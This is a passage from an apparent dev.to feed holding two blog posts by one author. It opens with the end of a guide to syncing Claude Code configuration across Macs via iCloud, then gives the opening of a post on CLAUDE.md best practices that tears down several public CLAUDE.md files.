&lt;p&gt;They work for the same use case. iCloud is my recommendation because it ships with every Mac — zero additional install. Dropbox or Drive is functionally equivalent; swap &lt;code&gt;~/Library/Mobile Documents/...&lt;/code&gt; for &lt;code&gt;~/Dropbox/ClaudeCode&lt;/code&gt; in the command and the rest is identical.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I sync between Mac and my personal server?
&lt;/h3&gt;

&lt;p&gt;Yes — that's a Syncthing-style use case and one where Syncthing actually earns its complexity. But if you're asking this question, the iCloud method probably isn't what you came for; start with Syncthing.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Note on MCP Configs Specifically
&lt;/h2&gt;

&lt;p&gt;One edge case worth calling out, because it's tripped up a few readers: your &lt;code&gt;.mcp.json&lt;/code&gt; file &lt;em&gt;can&lt;/em&gt; contain API keys and tokens for services like Brave Search, GitHub, or Linear. Those live in iCloud the same way everything else does, which means if you're concerned about your iCloud account being compromised, move those specific keys to a password manager and reference them via shell-env variables instead.&lt;/p&gt;

&lt;p&gt;For the 95% of solopreneurs not at that threat model, having your MCP keys synced across Macs is a feature, not a bug — it's why your second Mac is usable in 10 minutes instead of an hour of re-authenticating. &lt;a href="https://aiworkflowpro.com/claude-code-mcp-connections/" rel="noopener noreferrer"&gt;My real working set of 5 MCP servers&lt;/a&gt;&lt;br&gt;
 includes one (Brave Search) that needs a key, and I keep it in iCloud without losing sleep.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flanxfiyogbwcz6wsropw.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flanxfiyogbwcz6wsropw.webp" alt="Lessons + MCP Configs + Where This Sits in the Real Workflow" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Where This Sits in the Real Workflow
&lt;/h2&gt;

&lt;p&gt;Sync is boring infrastructure — which is why it deserves the boring solution. But the thing you're syncing matters a lot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  The &lt;strong&gt;CLAUDE.md file&lt;/strong&gt; is where your project rules and voice live. Worth &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/" rel="noopener noreferrer"&gt;the 67-line audit I walk through in my three-rewrite post&lt;/a&gt;
.&lt;/li&gt;
&lt;li&gt;  The &lt;strong&gt;Skills&lt;/strong&gt; are your on-demand actions. 5 that earn their keep is plenty; &lt;a href="https://aiworkflowpro.com/claude-code-skills/" rel="noopener noreferrer"&gt;3 more I deleted&lt;/a&gt;
 for specific reasons.&lt;/li&gt;
&lt;li&gt;  The &lt;strong&gt;MCP config&lt;/strong&gt; is your plugin stack. &lt;a href="https://aiworkflowpro.com/claude-code-mcp-connections/" rel="noopener noreferrer"&gt;5 MCPs do the work of 12&lt;/a&gt;
 in my daily flow.&lt;/li&gt;
&lt;li&gt;  The &lt;strong&gt;cost and workflow picture after 6 months&lt;/strong&gt; — exact dollars, session counts, the month I tried Max and downgraded — is in &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;my 6-month retrospective&lt;/a&gt;
.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Set up sync once. Spend the rest of your time on the things you're syncing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;This is a Tools-category post. For the more architectural side — what &lt;em&gt;should&lt;/em&gt; live in &lt;code&gt;~/.claude/&lt;/code&gt; in the first place — read &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/" rel="noopener noreferrer"&gt;my actual 67-line CLAUDE.md and the rewrites that got me there&lt;/a&gt;&lt;br&gt;
. For what goes into &lt;code&gt;.claude/skills/&lt;/code&gt;, see &lt;a href="https://aiworkflowpro.com/claude-code-skills/" rel="noopener noreferrer"&gt;the five Skills that earn their keep&lt;/a&gt;&lt;br&gt;
. And for the honest cost and habit picture after running this setup for six months, &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;the full retrospective with the actual bill&lt;/a&gt;&lt;br&gt;
. If you also run OpenCode or Codex alongside Claude Code, &lt;a href="https://aiworkflowpro.com/opencode-backup-tool/" rel="noopener noreferrer"&gt;the backup tool that covers all three&lt;/a&gt;&lt;br&gt;
 closes the remaining gap this sync setup leaves open.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;— Leo&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Published in: &lt;a href="https://aiworkflowpro.com/tag/technology/" rel="noopener noreferrer"&gt;Technology&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/ai-infrastructure/" rel="noopener noreferrer"&gt;AI Infrastructure&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/beginner/" rel="noopener noreferrer"&gt;Beginner&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://x.com/aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.youtube.com/@aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;em&gt;Download more icon variants from https://tabler-icons.io/i/brand-youtube&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aiworkflowpro.com/author/leo/" rel="noopener noreferrer"&gt;View articles&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#why-claude-code-sync-is-hard-in-the-first-place" rel="noopener noreferrer"&gt;Why Claude Code Sync Is Hard in the First Place&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#the-three-claude-code-sync-approaches-i-tried" rel="noopener noreferrer"&gt;The Three Claude Code Sync Approaches I Tried&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#the-day-one-on-a-new-mac-walkthrough" rel="noopener noreferrer"&gt;The "Day One on a New Mac" Walkthrough&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#the-claude-code-backup-plan-github-gist" rel="noopener noreferrer"&gt;The Claude Code Backup Plan: GitHub Gist&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#when-youd-actually-want-syncthing-instead" rel="noopener noreferrer"&gt;When You'd Actually Want Syncthing Instead&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#what-i-wish-id-known-on-day-one" rel="noopener noreferrer"&gt;What I Wish I'd Known on Day One&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#key-takeaways" rel="noopener noreferrer"&gt;Key Takeaways&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#related-reading" rel="noopener noreferrer"&gt;Related Reading&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#ready-to-use-prompt-pick-and-set-up-a-claude-code-sync-across-macs" rel="noopener noreferrer"&gt;Ready-to-Use Prompt: Pick and Set Up a Claude Code Sync Across Macs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#faq" rel="noopener noreferrer"&gt;FAQ&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#a-note-on-mcp-configs-specifically" rel="noopener noreferrer"&gt;A Note on MCP Configs Specifically&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#where-this-sits-in-the-real-workflow" rel="noopener noreferrer"&gt;Where This Sits in the Real Workflow&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/keep-claude-code-synced/#whats-next" rel="noopener noreferrer"&gt;What's Next&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>claudecode</category>
      <category>macos</category>
      <category>syncthing</category>
      <category>devtools</category>
    </item>
    <item>
      <title>CLAUDE.md Best Practices: Karpathy's 4 Principles + 6 Ready-to-Use Templates</title>
      <dc:creator>Leo Kane</dc:creator>
      <pubDate>Wed, 26 Aug 2026 07:51:13 +0000</pubDate>
      <link>https://dev.to/leo_kane_dcf8a742674c0741/claudemd-best-practices-karpathys-4-principles-6-ready-to-use-templates-2m56</link>
      <guid>https://dev.to/leo_kane_dcf8a742674c0741/claudemd-best-practices-karpathys-4-principles-6-ready-to-use-templates-2m56</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://aiworkflowpro.com/claude-md-best-practices/" rel="noopener noreferrer"&gt;AI Workflow Pro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  CLAUDE.md Best Practices: Karpathy''s 4 Principles + 6 Ready-to-Use Templates (2026)
&lt;/h1&gt;

&lt;p&gt;Empty or stuffed with boilerplate - both end the same way. Weeks spent auditing real files on GitHub, from 185K-star behavioural principles to a maintainer's commit rules. Four-layer scope, five teardowns, six templates by role, and an anti-pattern audit for business process automation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxfky08bl7j0aqa9g52t3.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxfky08bl7j0aqa9g52t3.webp" alt="CLAUDE.md Best Practices: Karpathy''s 4 Principles + 6 Ready-to-Use Templates (2026) technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Copy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzsd6er16jmi3jhdmvtz.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzsd6er16jmi3jhdmvtz.webp" alt="CLAUDE.md Best Practices: Karpathy's 4 Principles + 6 Ready-to-Use Templates (2026) technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Borrowed procedure documents fail in a predictable way: half the lines were written for somebody else's constraints, so people stop trusting any of it. A boutique law practice that copies a large firm's intake checklist gets six steps referencing departments it does not have, and within a month the checklist is decoration. Rule files for business process automation go the same way - most people either leave the file empty or paste in boilerplate they cannot defend line by line. This article takes apart five real files in public use, then hands over six templates sorted by role so you start from one that matches your actual work.&lt;/p&gt;

&lt;p&gt;Your CLAUDE.md is either empty or stuffed with &lt;code&gt;/init&lt;/code&gt; boilerplate. Both produce the same result: Claude Code forgets your preferences the moment a new session starts.&lt;/p&gt;

&lt;p&gt;I spent weeks auditing real CLAUDE.md files across GitHub — from Karpathy's 185K-star behavioral principles to Anthropic's own internal config to Dan Abramov's commit message constraints. The pattern became obvious: most people either write too much (and Claude ignores half of it) or write things Claude already knows from reading the codebase.&lt;/p&gt;

&lt;p&gt;This guide does two things. First, I break down what actually works in five high-profile CLAUDE.md files and why. Then I hand you six complete templates — frontend dev, backend dev, solo founder, content creator, data analyst, and student — so you can copy the one that fits and start shipping.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you get:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  The four-layer scope system and how Claude actually loads your config&lt;/li&gt;
&lt;li&gt;  Five real-world CLAUDE.md teardowns with full analysis&lt;/li&gt;
&lt;li&gt;  Six ready-to-use templates organized by role&lt;/li&gt;
&lt;li&gt;  The router pattern for projects that outgrow a single file&lt;/li&gt;
&lt;li&gt;  An anti-pattern checklist to audit your existing setup&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why Does CLAUDE.md Matter More Than Any Other Config?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fknuqlpdd51lfr3wzwsoo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fknuqlpdd51lfr3wzwsoo.webp" alt="Why Does CLAUDE.md Matter More Than Any Other Config? technical diagram for CLAUDE.md Best Practices" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Claude Code starts every session with a blank slate. The architecture discussion from yesterday, the code style you corrected for an hour, the deployment gotcha only you know about — all gone.&lt;/p&gt;

&lt;p&gt;CLAUDE.md is the only file that loads automatically into every session. Each rule you write works for you even when you say nothing.&lt;/p&gt;

&lt;p&gt;HumanLayer founder Kyle put it well — a single bad line in CLAUDE.md cascades like dominoes:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;One wrong instruction
    -&amp;gt; Every research step follows the wrong lead
        -&amp;gt; Plans built on bad research drift further
            -&amp;gt; Code written from drifted plans breaks in production
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The reverse holds too. One correct line saves time across every session and every task.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Think of CLAUDE.md as the onboarding doc you write for a new teammate. Write it well, and they ramp up fast with fewer mistakes. Write it too long or too vague, and they skip it entirely — worse than having no doc at all.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  How Does Claude Code Actually Load Your CLAUDE.md?
&lt;/h2&gt;

&lt;p&gt;Before you write anything, understand the mechanics. Everything below comes directly from &lt;a href="https://code.claude.com/docs/en/memory?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Anthropic's official documentation&lt;/a&gt;&lt;br&gt;
.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Are the Four Scope Layers?
&lt;/h3&gt;

&lt;p&gt;Most people think CLAUDE.md is a single file at the project root. It is actually a layered system. Claude Code loads four layers at startup, in order:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Who uses it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Managed policy&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/Library/Application Support/ClaudeCode/CLAUDE.md&lt;/code&gt; (macOS)&lt;/td&gt;
&lt;td&gt;Entire organization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User instructions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You personally, across all projects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Project instructions&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;./CLAUDE.md&lt;/code&gt; or &lt;code&gt;./.claude/CLAUDE.md&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Team-shared, committed to Git&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local instructions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;./CLAUDE.local.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You personally, current project only, not in Git&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All four layers &lt;strong&gt;stack&lt;/strong&gt; — later layers do not override earlier ones. Subdirectory CLAUDE.md files are smarter: they load only when Claude reads files from that directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Does Claude Sometimes Ignore Your Rules?
&lt;/h3&gt;

&lt;p&gt;CLAUDE.md is not a hard command. It is injected as a "user message" into the conversation. When injected, Claude Code attaches a system reminder that says roughly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"This context may or may not be relevant to your current task. Only reference it when actually relevant."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Claude decides which rules apply. The longer your file and the more irrelevant content it contains, the higher the probability that useful rules get skipped.&lt;/p&gt;

&lt;p&gt;I hit this myself running a multi-project knowledge base with Claude Code. My CLAUDE.md grew past 400 lines and Claude started ignoring database conventions while editing frontend components. The fix: split domain-specific rules into &lt;code&gt;.claude/rules/&lt;/code&gt; with &lt;code&gt;paths:&lt;/code&gt; constraints so they only load when Claude touches matching files.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Common trap:&lt;/strong&gt; You write an entire database design spec in CLAUDE.md. Claude edits a React component and skips all of it. Not a bug — Claude judged those rules irrelevant to the current task. Solution: put module-specific rules in &lt;code&gt;.claude/rules/&lt;/code&gt; with &lt;code&gt;paths:&lt;/code&gt; fields to scope them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  What Should You Include (and Exclude)?
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://code.claude.com/docs/en/best-practices?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Anthropic's best practices doc&lt;/a&gt;&lt;br&gt;
 gives a practical checklist:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Include:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Build commands Claude cannot guess from code (e.g., &lt;code&gt;pnpm test:e2e --filter=@app/web&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;  Code style deviations from conventions (e.g., your team bans default exports)&lt;/li&gt;
&lt;li&gt;  Test runner and framework details&lt;/li&gt;
&lt;li&gt;  Branch naming conventions and PR habits&lt;/li&gt;
&lt;li&gt;  &lt;em&gt;Why&lt;/em&gt; you made an architecture decision (not just "use X" but "use X because Y")&lt;/li&gt;
&lt;li&gt;  Dev environment quirks (e.g., must source a specific env file first)&lt;/li&gt;
&lt;li&gt;  Counter-intuitive gotchas&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Exclude:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Things Claude can infer from code — you have &lt;code&gt;tsconfig.json&lt;/code&gt;, so "this project uses TypeScript" adds zero value&lt;/li&gt;
&lt;li&gt;  Standard language conventions — Python uses snake_case by default&lt;/li&gt;
&lt;li&gt;  Large API docs — link to them, do not paste them in&lt;/li&gt;
&lt;li&gt;  Frequently changing info — you will forget to sync CLAUDE.md and create stale instructions&lt;/li&gt;
&lt;li&gt;  File-by-file code descriptions — Claude reads directory structure on its own&lt;/li&gt;
&lt;li&gt;  "Please write high-quality code" — this instruction is unverifiable and changes nothing&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;If a rule matters enough, prefix it with &lt;code&gt;IMPORTANT&lt;/code&gt; or &lt;code&gt;YOU MUST&lt;/code&gt; to add weight. But do not overuse emphasis — when every rule screams IMPORTANT, none of them are.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  What Do the Best CLAUDE.md Files Actually Contain?
&lt;/h2&gt;

&lt;p&gt;Five real-world configs, fully analyzed. Every file comes from a public repository.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 1: Karpathy's Four Principles (185K Stars)
&lt;/h3&gt;

&lt;p&gt;Andrej Karpathy — former Tesla AI director, OpenAI co-founder. His behavioral principles, collected in &lt;a href="https://github.com/forrestchang/andrej-karpathy-skills?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;this GitHub repository&lt;/a&gt;&lt;br&gt;
, earned over 185,000 stars, making it the most widely shared single CLAUDE.md file. It contains zero project information. The entire file does one thing: constrain how the AI thinks.&lt;/p&gt;

&lt;p&gt;The four principles distilled:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Think before you code&lt;/strong&gt; — State assumptions. List multiple interpretations. Propose simpler alternatives. Stop and ask when something is unclear.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Simplicity first&lt;/strong&gt; — Solve with minimum code. No features nobody asked for. No abstractions for one-time code. No "flexibility" or "configurability" nobody requested. If 200 lines can become 50, rewrite. Gut check: would a senior engineer look at this and think it is over-engineered?&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Surgical changes&lt;/strong&gt; — Touch only what must change. No drive-by refactors. No formatting fixes on adjacent code. Match existing style. Clean up orphaned references your change created, but leave pre-existing dead code alone. Every diff line must trace back to the user's request.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Goal-driven execution&lt;/strong&gt; — Convert tasks into verifiable goals ("add validation" becomes "write test, then make it pass"). Multi-step tasks get a plan with verification at each step.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These four principles belong in your global &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; so they apply to every project automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 2: Anthropic's Own claude-code-action (42 Lines)
&lt;/h3&gt;

&lt;p&gt;Anthropic's &lt;a href="https://github.com/anthropics/claude-code-action?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;claude-code-action&lt;/a&gt;&lt;br&gt;
 CLAUDE.md is what their own team uses in production. The most valuable section is &lt;strong&gt;"Gotchas"&lt;/strong&gt; — six traps that come from actual development experience:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Strict TypeScript enables &lt;code&gt;noUnusedLocals&lt;/code&gt; and &lt;code&gt;noUnusedParameters&lt;/code&gt; — unused variables break the build&lt;/li&gt;
&lt;li&gt; &lt;code&gt;GitHubContext&lt;/code&gt; is a discriminated union type — you must narrow with &lt;code&gt;isEntityContext()&lt;/code&gt; before property access&lt;/li&gt;
&lt;li&gt; Token revocation lives in action.yml's &lt;code&gt;always()&lt;/code&gt; step — moving it to run.ts means it never executes on process crash&lt;/li&gt;
&lt;li&gt; The catch block in run.ts uses &lt;code&gt;prepareCompleted&lt;/code&gt; to distinguish preparation-phase from execution-phase failures&lt;/li&gt;
&lt;li&gt; action.yml outputs reference Step IDs (&lt;code&gt;steps.run.outputs.*&lt;/code&gt;) — changing a Step ID without updating references breaks the pipeline&lt;/li&gt;
&lt;li&gt; Integration tests live in a separate repo — this repo only has unit tests&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Notice: every single gotcha describes something that actually went wrong. These are not hypothetical rules invented in advance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 3: Dan Abramov's overreacted.io (52 Lines)
&lt;/h3&gt;

&lt;p&gt;React core developer Dan Abramov wrote a CLAUDE.md for his personal blog &lt;a href="https://github.com/gaearon/overreacted.io?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;overreacted.io&lt;/a&gt;&lt;br&gt;
. The standout feature is &lt;strong&gt;commit message constraints&lt;/strong&gt; with explicit positive and negative examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Wrong: "Refactor component for improved maintainability"&lt;/li&gt;
&lt;li&gt;  Right: "Extract date formatting to lib/formatDate.ts"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;He does not just tell Claude how to write code. He tells Claude how to &lt;em&gt;communicate&lt;/em&gt; about code — down to filename-level specificity.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 4: Vercel's next-devtools-mcp (118 Lines)
&lt;/h3&gt;

&lt;p&gt;Vercel's &lt;a href="https://github.com/vercel/next-devtools-mcp/blob/main/CLAUDE.md?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;next-devtools-mcp&lt;/a&gt;&lt;br&gt;
 represents enterprise engineering standards. The core strategy: &lt;strong&gt;freeze the most common operations into standard step sequences&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Adding a new tool, adding a new resource, adding a new prompt — each operation has deterministic steps. Claude never guesses which files to modify:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Create file in &lt;code&gt;src/tools/&lt;/code&gt; (export inputSchema/metadata/handler)&lt;/li&gt;
&lt;li&gt; Register in &lt;code&gt;src/index.ts&lt;/code&gt; tools array&lt;/li&gt;
&lt;li&gt; Build and test&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This removes the entire class of errors where Claude changes the right code in the wrong file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 5: Karpathy's llm-council (133 Lines)
&lt;/h3&gt;

&lt;p&gt;Karpathy's own project &lt;a href="https://github.com/karpathy/llm-council?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;llm-council&lt;/a&gt;&lt;br&gt;
 has a detailed project-level CLAUDE.md — completely different from his four principles. It describes every backend file's key functions, the three-stage pipeline architecture, anonymization strategy for peer review, and four common traps.&lt;/p&gt;

&lt;p&gt;The takeaway: &lt;strong&gt;the four principles handle thinking habits (global), while llm-council's CLAUDE.md handles project-specific context (project-level)&lt;/strong&gt;. Karpathy uses both.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Two Patterns Emerge?
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Behavioral constraints&lt;/th&gt;
&lt;th&gt;Project context&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Examples&lt;/td&gt;
&lt;td&gt;Karpathy's four principles&lt;/td&gt;
&lt;td&gt;Anthropic / Vercel / Dan Abramov&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Location&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; (global)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;./CLAUDE.md&lt;/code&gt; (project-level)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Content&lt;/td&gt;
&lt;td&gt;Thinking habits, simplicity, change discipline&lt;/td&gt;
&lt;td&gt;Architecture, commands, gotchas, conventions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;30-65 lines&lt;/td&gt;
&lt;td&gt;55-130 lines&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Use both. They complement each other.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Can We Learn From Other Community CLAUDE.md Files?
&lt;/h2&gt;

&lt;p&gt;The English-language cases above are well known. But developers across the broader community have produced equally instructive configs.&lt;/p&gt;

&lt;h3&gt;
  
  
  overtrue — The Safety-First Approach
&lt;/h3&gt;

&lt;p&gt;The author of EasyWeChat, a major Laravel developer, published a &lt;a href="https://gist.github.com/overtrue/e99496bea14a460a9eabcffec982dd19?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;CLAUDE.md&lt;/a&gt;&lt;br&gt;
 with six sections, each solving a specific class of problem:&lt;/p&gt;

&lt;ul&gt;
